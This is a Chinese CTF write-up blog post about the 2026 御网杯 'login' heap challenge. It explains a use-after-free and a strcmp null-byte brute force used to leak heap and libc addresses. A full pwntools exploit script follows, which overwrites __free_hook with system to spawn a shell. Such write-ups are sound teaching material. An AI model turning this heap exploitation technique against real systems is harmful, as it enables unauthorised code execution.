2026御网杯部分复现

比赛的时候没发现能爆破,卡在不能泄露地址,遂卒XP

逆向分析

一开始ida打开发现怪怪的

后来在Novaxis其他师傅的帮助下发现是scanf反编译出了问题,右键scanf后按y重新定义即可

可以发现是个很简单的菜单题

且通过附件可知libc版本为2.23,在浏览过程中发现其free后未清空存储的堆块地址,故存在uaf

那么现在问题是如何泄露,查看show函数会发现其只在login函数中被调用,而login函数需要输入show函数显示的内容才能执行show函数,在这传统的泄露思路就断了

uaf是切实存在的,后和其他师傅讨论得知能够进行爆破,遂寻找爆破点。
我们知道strcmp(s1,s2)会比较s1和s2是否相同,但是其可被\x00截断,具体而言是当都遇到\x00时比较结束。
结合前面的uaf和其申请堆块后未进行初始化,导致我们能够利用释放堆块后残留的堆块控制存储password的堆块地址。

具体而言,我们先创建两个用户再删除他们

此时fastbin中的0x20大小的堆块链为chunk 1 -> chunk 0
而由于其加入到链中,对于用户1而言,存储密码的堆块由0x30大小的堆块变成了0x18大小的chunk0
此时我们再创建一个0x18大小的用户2,因为chunk0的地址末尾一字节为\x50,设置密码为\x50以维持让用户1的密码堆块指向chunk0

这个时候用户2的用户堆块为chunk0,存密码的堆块为chunk1
由于其edit函数未做任何检查,所以我们直接修改用户1的密码末尾(即chunk1的地址)为chunk1地址的+7处(此处的值应为\x00)然后依次往后减,以通过login函数的strcmp()函数从高位开始逐步爆破出chunk1的地址,以泄露堆块地址

得到堆块地址后,通过unsorted bin泄露出libc地址,最后再次利用用户1和用户2的edit修改__free_hook为system函数,然后通过free拿到shell

以下是完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/bin/python
# -*- coding: utf-8 -*-
"""
@author: a4
@date: 2026-05-30
"""
from LibcSearcher import *
from pwn import *
import sys

BINARY = "./login"
if BINARY:
elf = ELF(BINARY)
libc = elf.libc
context.binary = BINARY
context.log_level = "DEBUG"

def IO():
if len(sys.argv) > 1:
arg = sys.argv[1]
if ":" in arg:
target = arg.split(":", 1)
return remote(target[0], target[1])
if arg == "gdbserver":
return process(["gdbserver", "--no-disable-randomization", ":1234", BINARY])
return gdb.debug(BINARY)
return process(BINARY)
io = IO()

def menu(cmd):
io.sendlineafter(b"choice:\n", str(cmd).encode())
return

def login(name, size, password):
menu(1)
io.sendlineafter(b"id:\n",str(name).encode())
io.sendlineafter(b"length:\n",str(size).encode())
io.sendafter(b"password:\n",password)
return

def reg(name, size, password):
menu(2)
io.sendlineafter(b"id:\n", str(name).encode())
io.sendlineafter(b"length:\n",str(size).encode())
io.sendafter(b"password:\n", password)
return

def dele(name):
menu(3)
io.sendlineafter(b"id:\n", str(name).encode())
return

def edit(name, content):
menu(4)
io.sendlineafter(b"id:\n", str(name).encode())
io.sendafter(b"pass:\n", content)
return

reg(0, 0x30, b"a")
reg(1, 0x30, b"b")

# fastbin: chunk 1 -> chunk 0
# 1: chunk 1 : chunk 0 | size 0x30
dele(0)
dele(1)

# 2: chunk 0 : chunk 1 | size 0x18
# 1: chunk 1 : chunk 0 | size 0x30 | chunk 0 addr = 0x**************50
reg(2, 0x18, b"\x50")

leak = b""
pd = 0
for i in range(8):
pd = 0
# chunk 1 addr = 0x**************b0
edit(1, p8(0xb7-i))
for j in range(256):
login(2, i+1, p8(j)+leak)
msg = io.recvuntil(b"!")
if b"success" in msg:
pd = 1
leak = p8(j) + leak
break
if pd == 0:
print("error!")
break
heap_addr = u64(leak)
print(hex(heap_addr))

reg(3, 0x98, b"c")
dele(3)
# chunk 0x98 addr = 0x**************c0
heap_2 = heap_addr + 0x80
leak = b""
pd = 0

for i in range(8):
pd = 0
edit(1, p16((heap_2 & 0xffff) + 7 - i))
for j in range(256):
login(2, i+1, p8(j)+leak)
msg = io.recvuntil(b"!")
if b"success" in msg:
pd = 1
leak = p8(j) + leak
break
if pd == 0:
print("error!")
break
magic_num = 0x7fa767dc4b78-0x7fa767a00000
libc.address = u64(leak) - magic_num
print(hex(libc.address))

# 2 chunk 0 : free_hook
edit(1, p64(libc.sym["__free_hook"]))
edit(2, p64(libc.sym["system"]))

reg(4, 0x100, b"/bin/sh\x00")
dele(4)


io.interactive()
本作品由 automata 于 2026-06-10 00:00:00 发布
作品地址:2026御网杯部分复现
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 凹凸麦塔
Logo
下一篇2026ciscn半决赛awdp部分复现